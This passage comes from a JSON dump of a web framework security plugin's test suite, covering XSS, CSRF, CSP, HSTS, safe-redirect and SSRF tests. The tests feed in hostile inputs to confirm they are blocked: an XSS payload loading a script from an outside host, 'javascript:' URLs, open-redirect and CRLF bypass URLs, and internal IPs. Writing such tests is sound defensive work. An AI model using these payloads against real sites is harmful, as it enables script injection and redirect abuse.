    "content": "{\n  \"name\": \"utils-check-if-pass\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass2/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/match', function () {\n    this.body = 'hello';\n  });\n  app.get('/mymatch', function () {\n    this.body = 'hello';\n  });\n  app.get('/mytrueignore', function () {\n    this.body = 'hello';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass2/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  match: /\\/match/,\n  csp: {\n    match: /\\/(?:mymatch|myignore)/,\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass2/package.json",
    "content": "{\n  \"name\": \"utils-check-if-pass2\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass3/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/ignore', function () {\n    this.body = 'hello';\n  });\n  app.get('/luckydrq', function () {\n    this.body = 'hello';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass3/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  ignore: '/ignore',\n  csp: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass3/package.json",
    "content": "{\n  \"name\": \"utils-check-if-pass3\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass4/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/ignore', function () {\n    this.body = 'hello';\n  });\n  app.get('/myignore', function () {\n    this.body = 'hello';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass4/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  ignore: '/ignore',\n  csp: {\n    ignore: '/myignore',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass4/package.json",
    "content": "{\n  \"name\": \"utils-check-if-pass4\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass5/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = 'xx';\n  });\n  app.get('/ignore1', function () {\n    this.body = 'xx';\n  });\n  app.get('/ignore2', function () {\n    this.body = 'xx';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass5/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  xframe: {\n    ignore: ['/ignore1', '/ignore2'],\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass5/package.json",
    "content": "{\n  \"name\": \"utils-check-if-pass4\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass6/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = 'xx';\n  });\n  app.get('/match1', function () {\n    this.body = 'xx';\n  });\n  app.get('/match2', function () {\n    this.body = 'xx';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass6/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xframe',\n  xframe: {\n    match: ['/match1', '/match2'],\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/utils-check-if-pass6/package.json",
    "content": "{\n  \"name\": \"utils-check-if-pass4\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n\n  app.get('/0', function () {\n    this.securityOptions.xssProtection = {\n      value: 0,\n    };\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xssProtection',\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss/package.json",
    "content": "{\n  \"name\": \"xss\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss-close/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss-close/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xssProtection',\n  xssProtection: {\n    value: '0',\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss-close/package.json",
    "content": "{\n  \"name\": \"xss\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss-close-zero/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function () {\n    this.body = '123';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss-close-zero/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'xssProtection',\n  xssProtection: {\n    value: 0,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/xss-close-zero/package.json",
    "content": "{\n  \"name\": \"xss\"\n}\n"
  },
  {
    "path": "plugins/security/test/hsts.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('server', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/hsts'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/hsts-nosub'),\n    });\n    await app2.ready();\n    app3 = mm.app({\n      baseDir: getFixtures('apps/hsts-default'),\n    });\n    await app3.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n  });\n\n  it('should contain not Strict-Transport-Security header with default', async () => {\n    const res = await app3.httpRequest().get('/').set('accept', 'text/html').expect(200);\n    expect(res.headers['strict-transport-security']).toBeUndefined();\n  });\n\n  it('should contain Strict-Transport-Security header when configured', () => {\n    return app2\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('Strict-Transport-Security', 'max-age=31536000')\n      .expect(200);\n  });\n\n  it('should contain includeSubdomains rule when defined', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('Strict-Transport-Security', 'max-age=31536000; includeSubdomains')\n      .expect(200);\n  });\n\n  it('should not contain includeSubdomains rule with this.securityOptions', () => {\n    return app\n      .httpRequest()\n      .get('/nosub')\n      .set('accept', 'text/html')\n      .expect('Strict-Transport-Security', 'max-age=31536000')\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/inject.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/inject.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/inject'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('csrfInject', () => {\n    it('should support inject csrf', async () => {\n      const res = await app.httpRequest().get('/testcsrf').expect(200);\n      expect(res.text).toBe('<form>\\r\\n<input type=\"hidden\" name=\"_csrf\" value=\"{{ctx.csrf}}\" /></form>');\n    });\n\n    it('should not inject csrf when user write a csrf hidden area', async () => {\n      const res = await app.httpRequest().get('/testcsrf2').expect(200);\n      expect(res.text).toBe('<form><input type=\"hidden\" name=\"_csrf\" value=\"{{ctx.csrf}}\"></form>');\n    });\n    it('should not inject csrf when user write a csrf hidden area within a single dot area', async () => {\n      const res = await app.httpRequest().get('/testcsrf3').expect(200);\n      expect(res.text).toBe('<form><input type=\"hidden\" name=\\'_csrf\\' value=\"{{ctx.csrf}}\"></form>');\n    });\n  });\n\n  describe('nonceInject', () => {\n    it('should inject nonce', async () => {\n      const res = await app.httpRequest().get('/testnonce').expect(200);\n      const body = res.text;\n      const parts = body.split('|');\n      const expectedNonce = parts[0];\n      const scriptTag = parts[1];\n      expect(scriptTag).toBe(\n        `<script nonce=\"${expectedNonce}\"></script><script nonce=\"${expectedNonce}\"></script><script nonce=\"${expectedNonce}\"></script><script nonce=\"${expectedNonce}\"></script><script nonce=\"${expectedNonce}\"></script><script nonce=\"${expectedNonce}\"></script>`,\n      );\n    });\n\n    it('should not inject nonce when existed', async () => {\n      const res = await app.httpRequest().get('/testnonce2').expect(200);\n      expect(res.text).toBe('<script nonce=\"{{ctx.nonce}}\"></script><script nonce=\"{{ctx.nonce}}\"></script>');\n    });\n  });\n\n  describe('IspInjectDefence', () => {\n    it('should inject IspInjectDefence', async () => {\n      const res = await app.httpRequest().get('/testispInjection').expect(200);\n      expect(res.text).toBe(\n        '<!--for injection--><!--<script>document.write(\"haha250\")</script></html>--><!--for injection-->\\n  <html>\\n  <head>\\n      <title></title>\\n  </head>\\n  <body>\\n\\n  </body>\\n  </html>\\n<!--for injection--><!--</html>--><!--for injection-->',\n      );\n    });\n  });\n\n  describe('work with view', () => {\n    it('should successful render with csrf&nonce', async () => {\n      const res = await app.httpRequest().get('/testrender').expect(200);\n      const body = res.text;\n      const header = res.headers['content-security-policy'];\n      const csrf = res.headers['x-csrf'];\n      const re_nonce = /nonce-([^']+)/;\n      const nonce = header.match(re_nonce)![1];\n      expect(body).toContain(nonce);\n      expect(body).toContain(csrf);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/lib/helper/surl.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/lib/helper/surl.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-app'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/helper-app-surlextend'),\n    });\n    await app2.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n  });\n\n  it('should ignore hostname without protocol', () => {\n    const ctx = app.mockContext();\n    expect(ctx.helper.surl('foo.com')).toBe('');\n  });\n\n  it('should support white protocol', () => {\n    const ctx = app.mockContext();\n    expect(ctx.helper.surl('http://foo.com/javascript:alert(/XSS/)')).toBe('http://foo.com/javascript:alert(/XSS/)');\n    expect(ctx.helper.surl('https://foo.com/')).toBe('https://foo.com/');\n    expect(ctx.helper.surl('https://foo.com/>')).toBe('https://foo.com/&gt;');\n    expect(ctx.helper.surl('file://foo.com/')).toBe('file://foo.com/');\n    expect(ctx.helper.surl('file://fo<o.com/')).toBe('file://fo&lt;o.com/');\n    expect(ctx.helper.surl('data://foo.com/')).toBe('data://foo.com/');\n    expect(ctx.helper.surl('//foo.com/')).toBe('//foo.com/');\n    expect(ctx.helper.surl('/////foo.com/')).toBe('/////foo.com/');\n    expect(ctx.helper.surl('/////\"foo.com/')).toBe('/////&quot;foo.com/');\n    expect(ctx.helper.surl('/XXX/xxx.htm')).toBe('/XXX/xxx.htm');\n    expect(ctx.helper.surl(\"/XXX/'xxx.htm\")).toBe('/XXX/&#x27;xxx.htm');\n  });\n\n  it('should convert to empty string when protocol invalid', () => {\n    const ctx = app.mockContext();\n    expect(ctx.helper.surl(123)).toBe(123);\n    expect(ctx.helper.surl(true)).toBe(true);\n    expect(ctx.helper.surl('datad://foo.com')).toBe('');\n    expect(ctx.helper.surl('javascript1://foo.com')).toBe('');\n    /* eslint-disable no-script-url */\n    expect(ctx.helper.surl('javascript:alert(/XSS/)')).toBe('');\n    expect(ctx.helper.surl('xxx://xss.com')).toBe('');\n    expect(ctx.helper.surl('://xss.com')).toBe('');\n    expect(ctx.helper.surl('xss.com')).toBe('');\n    expect(ctx.helper.surl('    ')).toBe('');\n    expect(ctx.helper.surl('   <s> ')).toBe('');\n    expect(ctx.helper.surl('\\\\\\\\   <s> ')).toBe('');\n    expect(\n      ctx.helper.surl(\n        '\\'\"></script><script/src=http://lxy.pw/04ZI2u?507706></script>&bgPicUrl=https://cdn.com/images/giftprod/T1_GNfXfxXXXXXXXXX39e6601453bedfa5afee114ae1fa9bdd&_network=wifi&ttid=201200@laiwang_iphone_5.5.2',\n      ),\n    ).toBe('');\n  });\n\n  it('should support custom white protocol', () => {\n    const ctx = app2.mockContext();\n    expect(ctx.helper.surl('test://foo.com')).toBe('test://foo.com');\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/method_not_allow.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/method_not_allow.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/method'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should allow', async () => {\n    await app.httpRequest().get('/').expect(200);\n  });\n\n  it('should not allow trace method', async () => {\n    await app.httpRequest().trace('/').set('accept', 'text/html').expect(405);\n  });\n\n  it('should allow options method', () => {\n    return app.httpRequest().options('/').set('accept', 'text/html').expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/noopen.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/noopen.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/noopen'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should return default download noopen http header', () => {\n    return app.httpRequest().get('/').set('accept', 'text/html').expect('X-Download-Options', 'noopen').expect(200);\n  });\n\n  it('should not return download noopen http header', async () => {\n    const res = await app.httpRequest().get('/disable').set('accept', 'text/html').expect(200);\n    expect(res.headers['x-download-options']).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/nosniff.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/nosniff.test.ts', () => {\n  let app: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/nosniff'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should return default no-sniff http header', async () => {\n    await app.httpRequest().get('/').set('accept', 'text/html').expect('X-Content-Type-Options', 'nosniff').expect(200);\n  });\n\n  it('should not return download noopen http header', async () => {\n    await app\n      .httpRequest()\n      .get('/disable')\n      .set('accept', 'text/html')\n      .expect((res) => expect(res.headers['x-content-type-options']).toBeUndefined())\n      .expect(200);\n  });\n\n  it('should disable nosniff on redirect 302', async () => {\n    await app\n      .httpRequest()\n      .get('/redirect')\n      .expect((res) => expect(res.headers['x-content-type-options']).toBeUndefined())\n      .expect('location', '/')\n      .expect(302);\n  });\n\n  it('should disable nosniff on redirect 301', () => {\n    return app\n      .httpRequest()\n      .get('/redirect301')\n      .expect((res) => expect(res.headers['x-content-type-options']).toBeUndefined())\n      .expect('location', '/')\n      .expect(301);\n  });\n\n  it('should disable nosniff on redirect 307', () => {\n    return app\n      .httpRequest()\n      .get('/redirect307')\n      .expect((res) => expect(res.headers['x-content-type-options']).toBeUndefined())\n      .expect('location', '/')\n      .expect(307);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/referrer.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/referrer.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/referrer'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/referrer-config'),\n    });\n    await app2.ready();\n    app3 = mm.app({\n      baseDir: getFixtures('apps/referrer-config-compatibility'),\n    });\n    await app3.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n  });\n\n  it('should return default referrer-policy http header', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('Referrer-Policy', 'no-referrer-when-downgrade')\n      .expect(200);\n  });\n\n  it('should contain Referrer-Policy header when configured', () => {\n    return app2.httpRequest().get('/').set('accept', 'text/html').expect('Referrer-Policy', 'origin').expect(200);\n  });\n\n  it('should throw error when Referrer-Policy settings is invalid when configured', () => {\n    const policy = 'oorigin';\n    return app2\n      .httpRequest()\n      .get(`/referrer?policy=${policy}`)\n      .set('accept', 'text/html')\n      .expect(new RegExp(`\"${policy}\" is not available.`))\n      .expect(500);\n  });\n\n  it('should keep typo refererPolicy for backward compatibility', () => {\n    const policy = 'oorigin';\n    return app3\n      .httpRequest()\n      .get(`/referrer?policy=${policy}`)\n      .set('accept', 'text/html')\n      .expect(new RegExp(`\"${policy}\" is not available.`))\n      .expect(500);\n  });\n\n  // check for fix https://github.com/eggjs/security/pull/50\n  it('should throw error when Referrer-Policy is set to index of item in ALLOWED_POLICIES_ENUM', () => {\n    const policy = 0;\n    return app2\n      .httpRequest()\n      .get(`/referrer?policy=${policy}`)\n      .set('accept', 'text/html')\n      .expect(new RegExp(`\"${policy}\" is not available.`))\n      .expect(500);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/safe_redirect.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/safe_redirect.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/safe_redirect'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/safe_redirect_noconfig'),\n    });\n    await app2.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n  });\n\n  it('should redirect to / when url is in white list', async () => {\n    await app\n      .httpRequest()\n      .get('/safe_redirect?goto=http://domain.com')\n      .expect(302)\n      .expect('location', 'http://domain.com/');\n  });\n\n  it('should redirect to / when white list is blank', async () => {\n    await app2\n      .httpRequest()\n      .get('/safe_redirect?goto=http://domain.com')\n      .expect(302)\n      .expect('location', 'http://domain.com/');\n\n    await app2\n      .httpRequest()\n      .get('/safe_redirect?goto=http://baidu.com')\n      .expect(302)\n      .expect('location', 'http://baidu.com/');\n  });\n\n  it('should redirect to / when url is invaild', async () => {\n    app.mm(process.env, 'NODE_ENV', 'production');\n    await app.httpRequest().get('/safe_redirect?goto=http://baidu.com').expect(302).expect('location', '/');\n\n    await app\n      .httpRequest()\n      .get('/safe_redirect?goto=' + encodeURIComponent('http://domain.com.baidu.com/domain.com'))\n      .expect(302)\n      .expect('location', '/');\n\n    await app.httpRequest().get('/safe_redirect?goto=https://x.yahoo.com').expect(302).expect('location', '/');\n  });\n\n  it('should redirect to / when url is baidu.com', async () => {\n    app.mm(process.env, 'NODE_ENV', 'production');\n    await app.httpRequest().get('/safe_redirect?goto=baidu.com').expect(302).expect('location', '/');\n  });\n\n  it('should redirect to not safe url throw error on not production', async () => {\n    app.mm(process.env, 'NODE_ENV', 'dev');\n    await app\n      .httpRequest()\n      .get('/safe_redirect?goto=http://baidu.com')\n      .expect(/redirection is prohibited./)\n      .expect(500);\n  });\n\n  it('should redirect path directly', async () => {\n    await app.httpRequest().get('/safe_redirect?goto=/').expect(302).expect('location', '/');\n\n    await app.httpRequest().get('/safe_redirect?goto=/foo/bar/').expect(302).expect('location', '/foo/bar/');\n  });\n\n  describe('black and white urls', () => {\n    const blackurls = [\n      '//baidu.com',\n      '///baidu.com/',\n      'xxx://baidu.com',\n      'ftp://baidu.com/',\n      'http://www.baidu.com?',\n      'http://www.baidu.com#',\n      'http://www.baidu.com%3F',\n      'http://www.domain.com@www.baidu.com',\n      '//www.domain.com',\n      '////////www.domain.com',\n      'http://hackdomain.com',\n      'http://domain.com.fish.com',\n      'http://www.domain.com.fish.com',\n      '',\n      '    ',\n      '//foo',\n      'http://baidu.com/123123\\r\\nHEADER',\n      '',\n      'http:///123',\n    ];\n\n    const whiteurls = ['http://domain.com/', 'http://domain.com/foo', 'http://domain.com/foo/bar?a=123'];\n\n    it('should block', async () => {\n      app.mm(process.env, 'NODE_ENV', 'production');\n      for (const url of blackurls) {\n        await app\n          .httpRequest()\n          .get('/safe_redirect?goto=' + encodeURIComponent(url))\n          .expect('location', '/')\n          .expect(302);\n      }\n    });\n\n    it('should block evil path', async () => {\n      app.mm(process.env, 'NODE_ENV', 'production');\n\n      await app\n        .httpRequest()\n        .get('/safe_redirect?goto=' + encodeURIComponent('/\\\\evil.com/'))\n        .expect('location', '/')\n        .expect(302);\n    });\n\n    it('should block illegal url', async () => {\n      app.mm(process.env, 'NODE_ENV', 'production');\n      await app\n        .httpRequest()\n        .get('/safe_redirect?goto=' + encodeURIComponent('http://domain.com%0a.cn/path?abc=bar#123'))\n        .expect(302)\n        .expect('location', '/');\n    });\n\n    it('should block evil url', async () => {\n      app.mm(process.env, 'NODE_ENV', 'production');\n      await app\n        .httpRequest()\n        .get('/safe_redirect?goto=' + encodeURIComponent('http://domain.com!.a.cn/path?abc=bar#123'))\n        .expect(302)\n        .expect('location', '/');\n    });\n\n    it('should pass', async () => {\n      for (const url of whiteurls) {\n        await app\n          .httpRequest()\n          .get('/safe_redirect?goto=' + encodeURIComponent(url))\n          .expect('location', url)\n          .expect(302);\n      }\n    });\n  });\n\n  describe('unsafeRedirect()', () => {\n    it('should redirect to unsafe url', async () => {\n      const urls = ['http://baidu.com/', 'http://xxx.oo.com/123.html'];\n      for (const url of urls) {\n        await app\n          .httpRequest()\n          .get('/unsafe_redirect?goto=' + encodeURIComponent(url))\n          .expect(302)\n          .expect('location', url);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/security.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/security.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n  let app4: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/security'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/security-unset'),\n    });\n    await app2.ready();\n    app3 = mm.app({\n      baseDir: getFixtures('apps/security-override-controller'),\n    });\n    await app3.ready();\n    app4 = mm.app({\n      baseDir: getFixtures('apps/security-override-middleware'),\n    });\n    await app4.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n    await app4.close();\n  });\n\n  it('should load default security headers', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('X-Download-Options', 'noopen')\n      .expect('X-Content-Type-Options', 'nosniff')\n      .expect('X-XSS-Protection', '1; mode=block')\n      .expect(200);\n  });\n\n  it('should load default security headers when developer try to override in controller', () => {\n    return app3\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('Strict-Transport-Security', 'max-age=31536000')\n      .expect('X-Download-Options', 'noopen')\n      .expect('X-Content-Type-Options', 'nosniff')\n      .expect('X-XSS-Protection', '1; mode=block')\n      .expect(200);\n  });\n\n  it('should load default security headers when developer try to override in middleware', async () => {\n    const res = await app4\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('Strict-Transport-Security', 'max-age=31536000')\n      .expect('X-Download-Options', 'noopen')\n      .expect('X-Content-Type-Options', 'nosniff')\n      .expect('X-XSS-Protection', '1; mode=block')\n      .expect(200);\n    expect(res.status).toBe(200);\n  });\n\n  it('disable hsts for default', async () => {\n    const res = await app2.httpRequest().get('/').set('accept', 'text/html');\n    expect(res.headers['strict-transport-security']).toBeUndefined();\n  });\n\n  it('should not load security headers when set to enable:false', async () => {\n    const res = await app2.httpRequest().get('/').set('accept', 'text/html');\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/ssrf.test.ts",
    "content": "import dns from 'node:dns';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect, afterEach } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\nlet app: MockApplication;\n\ndescribe('no ssrf config', () => {\n  beforeAll(async () => {\n    app = mm.app({ baseDir: getFixtures('apps/csrf') });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should safeCurl work', async () => {\n    const ctx = app.createAnonymousContext();\n    const url = 'https://127.0.0.1';\n    mm.data(app, 'curl', { data: 'response' });\n    mm.data(app.agent, 'curl', { data: 'response' });\n    mm.data(ctx, 'curl', { data: 'response' });\n\n    let count = 0;\n    function mockWarn(msg: string) {\n      count++;\n      expect(msg).toMatch(/please configure `config.security.ssrf` first/);\n    }\n\n    mm(app.logger, 'warn', mockWarn);\n    mm(app.agent.logger, 'warn', mockWarn);\n    mm(ctx.logger, 'warn', mockWarn);\n\n    const r1 = await app.safeCurl(url);\n    const r2 = await app.agent.safeCurl(url);\n    const r3 = await ctx.safeCurl(url);\n    expect(r1.data).toBe('response');\n    expect(r2.data).toBe('response');\n    expect(r3.data).toBe('response');\n    expect(count).toBe(3);\n  });\n});\n\ndescribe('ipBlackList', () => {\n  beforeAll(async () => {\n    app = mm.app({ baseDir: getFixtures('apps/ssrf-ip-black-list') });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should safeCurl work', async () => {\n    const urls = ['https://127.0.0.1/foo', 'http://10.1.2.3/foo?bar=1', 'https://0.0.0.0/', 'https://www.google.com/'];\n    mm.data(dns, 'lookup', '127.0.0.1');\n    const ctx = app.createAnonymousContext();\n\n    for (const url of urls) {\n      await checkIllegalAddressError(app, url);\n      await checkIllegalAddressError(app.agent, url);\n      await checkIllegalAddressError(ctx, url);\n    }\n  });\n});\n\ndescribe('checkAddress', () => {\n  beforeAll(async () => {\n    app = mm.app({ baseDir: getFixtures('apps/ssrf-check-address') });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should safeCurl work', async () => {\n    const urls = ['https://127.0.0.2/foo', 'https://www.google.com/foo'];\n    mm.data(dns, 'lookup', '127.0.0.2');\n    const ctx = app.createAnonymousContext();\n    for (const url of urls) {\n      await checkIllegalAddressError(app, url);\n      await checkIllegalAddressError(app.agent, url);\n      await checkIllegalAddressError(ctx, url);\n    }\n  });\n});\n\ndescribe('checkAddress with useHttpClientNext = true', () => {\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/ssrf-check-address-useHttpClientNext'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should safeCurl work', async () => {\n    const urls = [\n      'https://127.0.0.2/foo',\n      // 'https://www.google.com/foo',\n      'https://www.baidu.com/foo',\n    ];\n    mm.data(dns, 'lookup', '127.0.0.2');\n    const ctx = app.createAnonymousContext();\n    for (const url of urls) {\n      await checkIllegalAddressError(app, url);\n      await checkIllegalAddressError(app.agent, url);\n      await checkIllegalAddressError(ctx, url);\n    }\n  });\n});\n\ndescribe('ipExceptionList', () => {\n  beforeAll(async () => {\n    app = mm.app({ baseDir: getFixtures('apps/ssrf-ip-exception-list') });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should safeCurl work', async () => {\n    const ctx = app.createAnonymousContext();\n    const url = process.env.CI ? 'https://registry.npmjs.org' : 'https://registry.npmmirror.com';\n\n    const r1 = await app.safeCurl<Record<string, string>>(url, {\n      dataType: 'json',\n    });\n    const r2 = await app.agent.safeCurl(url, { dataType: 'json' });\n    const r3 = await ctx.safeCurl(url, { dataType: 'json' });\n    expect(r1.status).toBe(200);\n    expect(r2.status).toBe(200);\n    expect(r3.status).toBe(200);\n    // console.log(r1.data);\n  });\n\n  it('should safeCurl block illegal address', async () => {\n    const urls = [\n      'https://127.0.0.1/foo',\n      'http://10.1.2.3/foo?bar=1',\n      'https://0.0.0.0/',\n      // 'https://www.google.com/',\n      // 'https://www.baidu.com/',\n    ];\n    mm.data(dns, 'lookup', '127.0.0.1');\n    const ctx = app.createAnonymousContext();\n\n    for (const url of urls) {\n      await checkIllegalAddressError(app, url);\n      await checkIllegalAddressError(app.agent, url);\n      await checkIllegalAddressError(ctx, url);\n    }\n  });\n\n  // TODO(fengmk2): should request the local server\n  it.skip('should safeCurl allow exception ip ', async () => {\n    const ctx = app.createAnonymousContext();\n    const url = 'https://10.1.1.1';\n\n    let count = 0;\n    mm(app, 'curl', async (_url: string, options: any) => {\n      options.checkAddress('10.1.1.1') && count++;\n      return { data: 'response' };\n    });\n    mm(app.agent, 'curl', async (_url: string, options: any) => {\n      options.checkAddress('10.1.1.1') && count++;\n      return { data: 'response' };\n    });\n    mm(ctx, 'curl', async (_url: string, 